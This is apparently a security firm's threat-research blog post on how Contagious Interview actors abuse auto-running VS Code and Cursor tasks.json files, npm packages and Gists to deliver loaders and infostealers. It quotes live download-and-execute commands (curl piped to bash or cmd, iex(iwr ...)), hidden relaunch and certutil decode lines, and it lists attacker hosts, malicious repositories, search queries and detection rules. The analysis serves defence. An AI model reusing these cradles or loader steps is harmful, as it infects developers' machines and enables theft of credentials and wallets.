Contagious Interview: Evolution of VS Code and Cursor Tasks
Infection Chains - Part 1
By Abstract Security Threat Research Organization (ASTRO)
Published: 2026-03-02 · Archived: 2026-04-05 13:54:23 UTC
2/27/2026 - Note: we have made revisions to this post to clarify findings and separate speculative
analysis.
Summary
Abstract customers already have visibility into the behaviors described in this report.
The ASTRO team has been actively tracking Contagious Interview techniques that abuse task auto-execution in
integrated development environments (IDEs) such as Microsoft Visual Studio Code (VSCode) and Cursor to
deliver malware. Since our last report on the tasks infection vector, we have observed a number of new payload
stagers using short URLs, GitHub Gists, Google Drive, and some interesting custom domains. We have also seen a
resurgence of previously reported infection chains and tooling now combined with the IDE tasks vector.
Findings
New Payload Stagers
In the last report, we noted heavy use of Vercel URLs for payload staging referenced directly in tasks.json files
along with a handful of custom domains. While stagers hosted on Vercel continue to be prevalent (though many
have been taken down), we have observed an increase in alternative staging servers used in the tasks commands
and in later stages of the infection chains.
This GitHub Code search query returns a variety of new stagers while filtering out Vercel URLs that would make
up the majority of results:
path:tasks.json runOn folderOpen (curl OR wget OR iwr) (cmd OR "| sh" OR \"bash\" OR \"powershell\"
OR iex) NOT vercel
GitHub Gists
Recently, repos with tasks.json files were created with the same pattern of curl or other downloaders
fetching scripts piped directly to shell, but in these cases the scripts were hosted in GitHub Gists. This query
returns 2 repos with this pattern, each targeting both VS Code and Cursor users:
path:tasks.json runOn folderOpen "gist.githubusercontent"
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Here is a sample command run from bash -c in Wisepanda-bot-main/.cursor/tasks.json:
curl -sL https://gist[.]githubusercontent[.]com/cuda-toolkit/0959deda4982736d1c1647cff354c665/raw/metal_pytorch_sim_v2.3.0.sh | bash
These files also have a variation for Windows using PowerShell instead of piping to cmd as previously seen, like
so:
iex(iwr 'https://gist[.]githubusercontent[.]com/cuda-toolkit/936835c7a98d3b223970a5d2ed63fc97/raw/cuda_toolkit_sim_v12.4.ps1' -UseBasicParsing)
The gist user cuda-toolkit and script file names like cuda_toolkit_sim_v12.4.ps1 and
metal_pytorch_sim_v2.3.0.sh are an attempt to masquerade as NVIDIA software, a tactic that Contagious
Interview actors are known to use. This may be a recurring theme due to the intended campaign targets, typically
software developers in DeFi and other cryptocurrency-related industries that are more likely to use high-performance GPUs.
The Gist-hosted scripts download next-stage payloads from the domain camdriver[.]pro , another attempt at
mimicking NVIDIA software by posing as related to camera drivers. Depending on the target platform, the
payload URLs are formatted like https://camdriver[.]pro/realtekwin.update?r=7205d529-ff14-4dcf-965b-https://www.abstract.security/blog/contagious-interview-evolution-of-vscode-and-cursor-tasks-infection-chains
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29d500663a75 or https://camdriver[.]pro/realtekmac.sh?r=7205d529-ff14-4dcf-965b-29d500663a75 and
drop ZIP files that lead to malware installation downstream.
While these gists have since been deleted, these few cases might indicate future continued use of
gist[.]githubusercontent[.]com for payload URLs in tasks commands. The actual scripts we pulled before
deletion and their subsequent chains eventually lead to deployment of Go/Python backdoors dubbed by ESET
WeLiveSecurity as WeaselStore. These previously analyzed backdoors represent a combination of older,
documented Contagious Interview TTPs with the more recent tasks.json infection vector. More on this will be
covered in Part 2 of this report.
URL Shorteners
We have also seen use of URLs shortened by short[.]gy hosting scripts downloaded and executed in tasks files.
Most if not all of these URLs point to the Vercel domain josehub88[.]vercel[.]app , suggesting that the actors
started using URL shorteners as a means to reduce their footprint of Vercel servers, perhaps due to the extensive
reporting around this aspect.
The search query for this is straightforward. As of this reporting, 22 files containing these shortened URLs are
returned.
path:tasks.json runOn folderOpen "short.gy"
Notably, many of these files feature whitespace padding of the malicious commands to move them off-screen
from view. This cheap evasion technique was seen in our previous report from late January.
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Google Drive
The Contagious Interview actors have published and continue to publish malicious Node Package Manager
(NPM) packages, many of which have been identified by the DPRK npm packages tracker. One package in
particular, "eslint-validator" (created by user lincoln0809), can be found in the package.json dependencies of 3
GitHub repos using this query:
path:package.json "\"eslint-validator\""
Malicious package dependencies in repositories is a common pattern, but interestingly in the case of this package,
it runs content fetched from the Google Drive URL
https://drive[.]google[.]com/file/d/16AaeeVhqj4Q6FlJIDMgdWASJvq7w00Yc/view?usp=sharing , found in
core.js . The containing file itself is executed using node via an install script in the package's package.json .
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The code for handling the content download from the Drive link can be found in googleDrive.js . It performs a
GET request using the fetch API and handles virus-scan warning pages by falling back to an alternative URL
endpoint in the format of https://drive[.]usercontent[.]google[.]com/download?
id=${fileId}&export=download&confirm=t .
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It is worth noting that the code to download and execute content from Google Drive was not present in the initial
version of the "eslint-validator" package, and was added in a later version.
The Google Drive link hosts inject-simple.min0.js (4.5k), which contains heavily obfuscated JavaScript with
previously seen patterns suggesting a ChainedDown (JADESNOW) downloader component.
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The use of Google Drive as a stager was also recently reported by kmsec.uk.
(Speculative) A Copycat Actor?
This section has been adjusted to clarify that the following finding, while sharing techniques and
patterns with previously documented Contagious Interview infection chains, may be a copycat or test
by an unrelated actor and therefore is not confirmed to be part of the same campaign. This is largely
due to the discovery that the chain results in Akira Stealer, a malware family not known to be used by
Contagious Interview actors.
Possibly Unrelated Chain Shares Similar Techniques
In analyzing suspicious tasks.json files across GitHub, we encountered a tasks file in the repo
adadsws/shannon, which is a malicious fork of the Keygraph Shannon AI penetration testing framework.
The tasks file executes the following command targeting Windows only:
curl https://nomgwenya[.]co[.]za/js/settings?win=32 | cmd
This downloads and executes a batch script captured in this URLScan result and shown below.
The next stage is another batch script from https://nomgwenya[.]co[.]za/js/bootstrap?win=32 written to the
file %USERPROFILE%\.vscode\vscode-bootstrap.cmd . The full content of this script can be found in this URLScan
result.
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The script begins by re-launching itself in a hidden window if it was not already started with a _restarted
argument:
if "%~1" neq "_restarted" powershell -WindowStyle Hidden -Command "Start-Process -FilePath cmd.exe -
ArgumentList '/c \"%~f0\" _restarted' -WindowStyle Hidden" & exit /b
The script then obtains a Node.js runtime needed to execute an embedded JavaScript payload. It checks for a
global install via where node and, if not found, downloads the latest Node.js MSI from nodejs.org and
extracts it portably with msiexec /a . The MSI file is then deleted.
Once Node.js is available, the script changes its working directory to %USERPROFILE%\.vscode , positioning its
subsequent file operations alongside legitimate VS Code configuration files.
Up until this point, a number of patterns coincide with previously observed Contagious Interview techniques:
The repo adadsws/shannon README is modified with LLM-generated content.
The repo contains a .vscode/tasks.json backdoor that runs on folder open.
The tasks file contains the label "env" which has been observed in multiple Contagious Interview-linked
tasks files.
The task command is a download cradle piped to cmd and has a URL containing /settings with a ?
win=32 parameter.
The loaders have been used in Contagious Interview before, such as in the first and second stage batch files
of a previously seen tasks.json chain that leveraged TxDataHiding. These contain similar logic for hidden
window re-launch and portable Node.js usage.
However...
A Twist in this Loader Has an Unexpected Outcome
While the loaders seem near-identical to those used in Contagious Interview, they differ in the execution of the
third stage, which in Contagious Interview infection chains is often Base64-encoded JavaScript decoded and run
directly using Node.js.
Interestingly in this case, at the bottom of the batch file is a block of Base64-encoded JavaScript wrapped in PEM
certificate headers ("-----BEGIN CERTIFICATE-----" ... "-----END CERTIFICATE-----"), masquerading as an
embedded certificate. The script uses certutil , a commonly abused Windows utility, to decode itself:
certutil -f -decode "%~f0" "%TMP_JS%" >nul 2>&1
The %~f0 reference points to the currently executing batch file. certutil -decode recognizes the PEM headers
in the file and extracts the Base64 content between them, writing the decoded JavaScript to a randomly named
temp file at %TEMP%\script_%RANDOM%.mjs . The .mjs extension has Node.js treat the file as an ES module,
which the payload requires based on its imports.
The decoded script is then executed with the previously obtained Node.js runtime. A long encoded string is passed
as a command-line argument which, as we'll see shortly, is forwarded to a later stage via an environment variable.
After execution, the temp file is deleted.
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Upon decoding the JavaScript payload we're greeted with an anti-debugging trick using (function()
{}).constructor("debugger")() wrapped in a try/catch.
The rest of the payload is a custom stack-based bytecode VM. Two encrypted blobs are decrypted with a rolling
XOR cipher, one as bytecode and the other as a string table. The VM implements ~30 opcodes and makes Node.js
modules available to the bytecode as numbered registers.
Possibly Unrelated Chain Deploys Akira Stealer
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Decrypting the string table and disassembling the bytecode unearths some strings that reveal the next stage:
Extracted strings
hxxps://postprocesser[.]com/.well-known/pki-validation/go/python3.zip
pythonw.exe
exec.py
spawn
detached
REALTEKAUDIO
PROCNAME
The bytecode downloads python3.zip from hxxps://postprocesser[.]com/.well-known/pki-validation/go/python3.zip to the system temp directory, then extracts the ZIP and spawns the extracted
pythonw.exe (the windowless Python interpreter) with exec.py as a detached process. Reconstructed from the
bytecode, the spawn call is equivalent to:
child_process.spawn(pythonw_path, [exec_py_path], {
 detached: true,
 stdio: 'ignore',
 env: { ...process.env, REALTEKAUDIO: process.argv[2], PROCNAME: "Main" }
});
The REALTEKAUDIO environment variable carries the encoded command-line argument from the batch script
through to the Python payload, masquerading as Realtek audio software. Additionally, the path .well-known/pki-validation/ in the download URL mimics a location commonly used for PKI validation.
The Python payload is protected with PyArmor and was recently compiled just before this report release.
Removing the PyArmor protection and analyzing the underlying Python code reveals a Go-based variant of Akira
Stealer, a commodity malware-as-a-service (MaaS) infostealer that exfiltrates user data from browsers,
cryptocurrency wallets, chat applications, and system files.
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The associated indicators have been reported by Elastic Security Labs. In January 2026, a similar distribution of
Akira Stealer was reported masquerading as a custom tool on GitHub.
The discovery of Akira Stealer complicates attribution for this particular infection chain. While the earlier stages
share many techniques and patterns with previously documented Contagious Interview chains, Akira Stealer is not
known to be used by Contagious Interview actors to our knowledge. It is possible that this is a separate actor
copying techniques and swapping in a different final stage. As such, this chain's attribution remains uncertain, but
its details are included in this post due to the shared techniques and infection vector.
Detection Opportunities
VS Code/Cursor child process activity. Monitor for IDEs spawning shell processes running curl , wget ,
PowerShell download commands, or similar utilities (optionally including piped execution) shortly after process
start.
GitHub Gist URLs in IDE task files. Monitor for gist.githubusercontent.com URLs in
.vscode/tasks.json or .cursor/tasks.json files, particularly combined with curl , wget , iwr , or piped
execution.
URL shorteners in IDE task files. Flag tasks.json files containing shortened URLs from services like
short[.]gy . Shorteners obscure the destination and have no legitimate use in IDE task configurations.
PowerShell suspicious arguments in IDE task files. Tasks.json commands invoking PowerShell with -
ExecutionPolicy Bypass combined with -WindowStyle Hidden and iex / iwr .
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Google Drive downloads from non-browser processes. Alert on drive.google.com or
drive.usercontent.google.com requests initiated by non-browser processes like node or npm. Google Drive
URLs in the format https://drive[.]usercontent[.]google[.]com/download?
id=${fileId}&export=download&confirm=t are particularly suspicious as they indicate attempts to bypass virus
scan warning pages.
Downloaded content piped to shell. Most tasks.json commands download and immediately execute scripts.
Monitor for download utilities like curl or wget piped directly to shell commands.
Batch scripts written to the .vscode directory. The user .vscode directory normally contains configuration
files. Creation of .cmd or .bat files in %USERPROFILE%\.vscode\ is unusual and may indicate malicious
activity.
Console clearing around payload execution. A first-stage batch script in one of the infection chains uses cls
commands before and after executing the downloaded loader to clear evidence from the console window. While
cls alone is benign, its overuse especially surrounding download utilities or script execution in batch files is
suspicious.
Hidden window re-launch with sentinel argument. Detect cmd.exe processes that spawn powershell -
WindowStyle Hidden which in turn spawns another cmd.exe -WindowStyle Hidden , particularly when the
command line includes a re-launch sentinel argument (e.g., _restarted ). This double-hidden pattern is
distinctive and unlikely in legitimate use.
Portable Node.js extraction via msiexec. msiexec /a performing an administrative install of a Node.js MSI to
a user-writable directory such as .vscode or %TEMP% is unusual.
The following detections are based on an infection chain with shared techniques but unconfirmed
connection to Contagious Interview.
certutil decoding batch scripts. certutil -f -decode where the source file is a .cmd or .bat — especially
when the source is %~f0 (self-reference). Legitimate certutil usage targets certificate files or encoded data files,
not scripts.
Node.js executing temporary .mjs files. node.exe executing .mjs files from %TEMP% with randomized
filenames matching patterns like script_%RANDOM%.mjs .
pythonw.exe spawned from temp directories. pythonw.exe running from %TEMP%\python3\ or similar temp
subdirectories, especially as a detached process. This can indicate a dropped Python runtime rather than a standard
installation.
Node.js spawning Python with suspicious environment variables. Process chain where node.exe spawns
pythonw.exe . While this could be legitimate activity, it could warrant closer inspection when paired with other
indicators.
Network requests to .well-known paths returning unusual content. HTTP requests to .well-known/pki-validation/ paths that return ZIP files or other unexpected content. This path is not commonly intended for file
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hosting.
Conclusion
Contagious Interview actors continue to evolve their infrastructure and techniques. The shift toward GitHub Gists,
URL shorteners, and Google Drive for payload staging suggests the actors are actively adapting to community
reporting and platform takedowns. In Part 2, we will take a closer look at the infection chains covered in this
report among other findings.
Appendix
GitHub Search Queries
Purpose Query
Tasks with non-Vercel
stagers
path:tasks.json runOn folderOpen (curl OR wget OR iwr) (cmd OR "| sh" OR
\"bash\" OR \"powershell\" OR iex) NOT vercel
Tasks referencing GitHub
Gists
path:tasks.json runOn folderOpen "gist.githubusercontent"
Tasks using URL
shortener
path:tasks.json runOn folderOpen "short.gy"
Repos with eslint-validator
dependency
path:package.json "\"eslint-validator\""
Indicators
Domains
Domain Description
short[.]gy URL shortener used to hide Vercel stagers
josehub88[.]vercel[.]app short[.]gy redirect destination
camdriver[.]pro Payload delivery from GitHub Gists chains
nomgwenya[.]co[.]za (Possibly unrelated to campaign) Batch script delivery
postprocesser[.]com (Possibly unrelated to campaign) PyArmor-protected Python malware delivery
URLs
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URL Description
hxxps://gist[.]githubusercontent[.]com/cuda-toolkit/0959deda4982736d1c1647cff354c665/raw/metal_pytorch_sim_v2.3.0.shGist-hosted stager
(macOS/Linux)
hxxps://gist[.]githubusercontent[.]com/cuda-toolkit/4ece7a2e99311a4aa384c24733b7a41b/raw/metal_pytorch_sim_v2.3.0.shGist-hosted stager
(macOS/Linux)
hxxps://gist[.]githubusercontent[.]com/cuda-toolkit/936835c7a98d3b223970a5d2ed63fc97/raw/cuda_toolkit_sim_v12.4.ps1Gist-hosted stager
(Windows)
hxxps://gist[.]githubusercontent[.]com/cuda-toolkit/384410c927451dbada9ecb0072851198/raw/cuda_toolkit_sim_v12.4.ps1Gist-hosted stager
(Windows)
hxxps://camdriver[.]pro/realtekwin.update?r=7205d529-ff14-4dcf-965b-29d500663a75
Next stage
Windows payload
URL in Gist-based stagers
hxxps://camdriver[.]pro/realtekwin.update?r=ffa752c6-84e9-4bb9-b3c8-a3ab09cbcbe6
Next stage
Windows payload
URL in Gist-based stagers
hxxps://camdriver[.]pro/realtekmac.sh?r=7205d529-ff14-4dcf-965b-29d500663a75
Next stage *nix
payload URL in
Gist-based stagers
hxxps://drive[.]google[.]com/file/d/16AaeeVhqj4Q6FlJIDMgdWASJvq7w00Yc/view?
usp=sharing
Google Drive-hosted inject-simple.min0.js
(ChainedDown
aka JADESNOW)
hxxps://nomgwenya[.]co[.]za/js/settings?win=32
(Possibly
unrelated to
campaign) First-stage batch script
hxxps://nomgwenya[.]co[.]za/js/bootstrap?win=32
(Possibly
unrelated to
campaign)
Second-stage
loader (vscode-bootstrap.cmd)
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URL Description
hxxps://postprocesser[.]com/.well-known/pki-validation/go/python3.zip
(Possibly
unrelated to
campaign)
Bundled Python
runtime and
PyArmor payload
Hashes
SHA-256 Hash Description
2a7e7b76a3e8070410adce9b6a2b9cf112687922792c91be563c20fbf6a4a82f
Google Drive-hosted inject-simple.min0.js
(ChainedDown aka
JADESNOW)
6d9379e365a4da282531d7f234c69eefa48567c01ba173b462e907a1ddfc71b2
(Possibly unrelated to
campaign) Bundled Python
runtime and PyArmor
payload
File Paths and Artifacts
Artifact Description
%USERPROFILE%\.vscode\vscode-bootstrap.cmd
Second-stage loader written to .vscode directory
%TEMP%\script_*.mjs
(Possibly unrelated to campaign) Certutil-decoded
JavaScript payload
%TEMP%\py.zip
(Possibly unrelated to campaign) ZIP archive containing
Python runtime and PyArmor payload
%TEMP%\python3\exec.py
(Possibly unrelated to campaign) PyArmor-protected Python
payload
REALTEKAUDIO
(Possibly unrelated to campaign) Environment variable
passing encoded data to Python stage
GitHub Repositories
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Repository Description
ItsmeBlackOps/Wisepanda-bot-main Contains tasks.json with download cradles using Gist URLs
BT-AURA/Auto-Stacking Contains tasks.json with download cradles using Gist URLs
icode4fuud/deploy-cloudrun Has package.json with malicious "eslint-validator" dependency
icode4fuud/copilot-sdk Has package.json with malicious "eslint-validator" dependency
Naboni/CartPanda Has package.json with malicious "eslint-validator" dependency
Pavel-Shcherbo/defiguard-dev Contains tasks.json with download cradles using short[.]gy URL
annasudol/Web3Aggregator Contains tasks.json with download cradles using short[.]gy URL
0xroaman-2/Royal Contains tasks.json with download cradles using short[.]gy URL
icecoldjay/bri Contains tasks.json with download cradles using short[.]gy URL
gitOxentrolance/hireonchain Contains tasks.json with download cradles using short[.]gy URL
ishanrt119/NFT-Marketplace Contains tasks.json with download cradles using short[.]gy URL
hellomanishahere/NFT-Marketplace Contains tasks.json with download cradles using short[.]gy URL
Mindshare-Solution-Tech/card-activity
Contains tasks.json with download cradles using short[.]gy URL
mindshare-solution-collect/card-activity
Contains tasks.json with download cradles using short[.]gy URL
mdimran29/card-activity Contains tasks.json with download cradles using short[.]gy URL
artickc/card-activity Contains tasks.json with download cradles using short[.]gy URL
SatAi999/card-activity Contains tasks.json with download cradles using short[.]gy URL
OvaisKhanday/card-activity Contains tasks.json with download cradles using short[.]gy URL
Devba/W3agregador Contains tasks.json with download cradles using short[.]gy URL
TechProsA/W3GLFun-smartcontracts Contains tasks.json with download cradles using short[.]gy URL
MaxEdgr/P12 Contains tasks.json with download cradles using short[.]gy URL
bohdan0219/nft_project Contains tasks.json with download cradles using short[.]gy URL
bohdan0219/smart_contract Contains tasks.json with download cradles using short[.]gy URL
adadsws/shannon
(Possibly unrelated to campaign) Malicious fork with tasks.json
downloader
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Associated Users
User Description
cuda-toolkit Deleted Gist account hosting payloads masqueraded as NVIDIA software
lincoln0809 NPM user, published malicious "eslint-validator" package
ItsmeBlackOps Owner of Wisepanda-bot-main repo
BT-AURA Owner of Auto-Stacking repo
icode4fuud Owner of deploy-cloudrun and copilot-sdk repos
Naboni Owner of CartPanda repo
Pavel-Shcherbo Owner of defiguard-dev repo
annasudol Owner of Web3Aggregator repo
0xroaman-2 Owner of Royal repo
icecoldjay Owner of bri repo
gitOxentrolance Owner of hireonchain repo
ishanrt119 Owner of NFT-Marketplace repo
hellomanishahere Owner of NFT-Marketplace repo
Mindshare-Solution-Tech Owner of card-activity repo
mindshare-solution-collect Owner of card-activity repo
mdimran29 Owner of card-activity repo
artickc Owner of card-activity repo
SatAi999 Owner of card-activity repo
OvaisKhanday Owner of card-activity repo
Devba Owner of W3agregador repo
TechProsA Owner of W3GLFun-smartcontracts repo
MaxEdgr Owner of P12 repo
bohdan0219 Owner of nft_project and smart_contract repos
adadsws (Possibly unrelated to campaign) Owner of malicious shannon fork
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Malicious NPM Packages
Package Description
eslint-validator Fetches and executes content from Google Drive
Source: https://www.abstract.security/blog/contagious-interview-evolution-of-vscode-and-cursor-tasks-infection-chains
https://www.abstract.security/blog/contagious-interview-evolution-of-vscode-and-cursor-tasks-infection-chains
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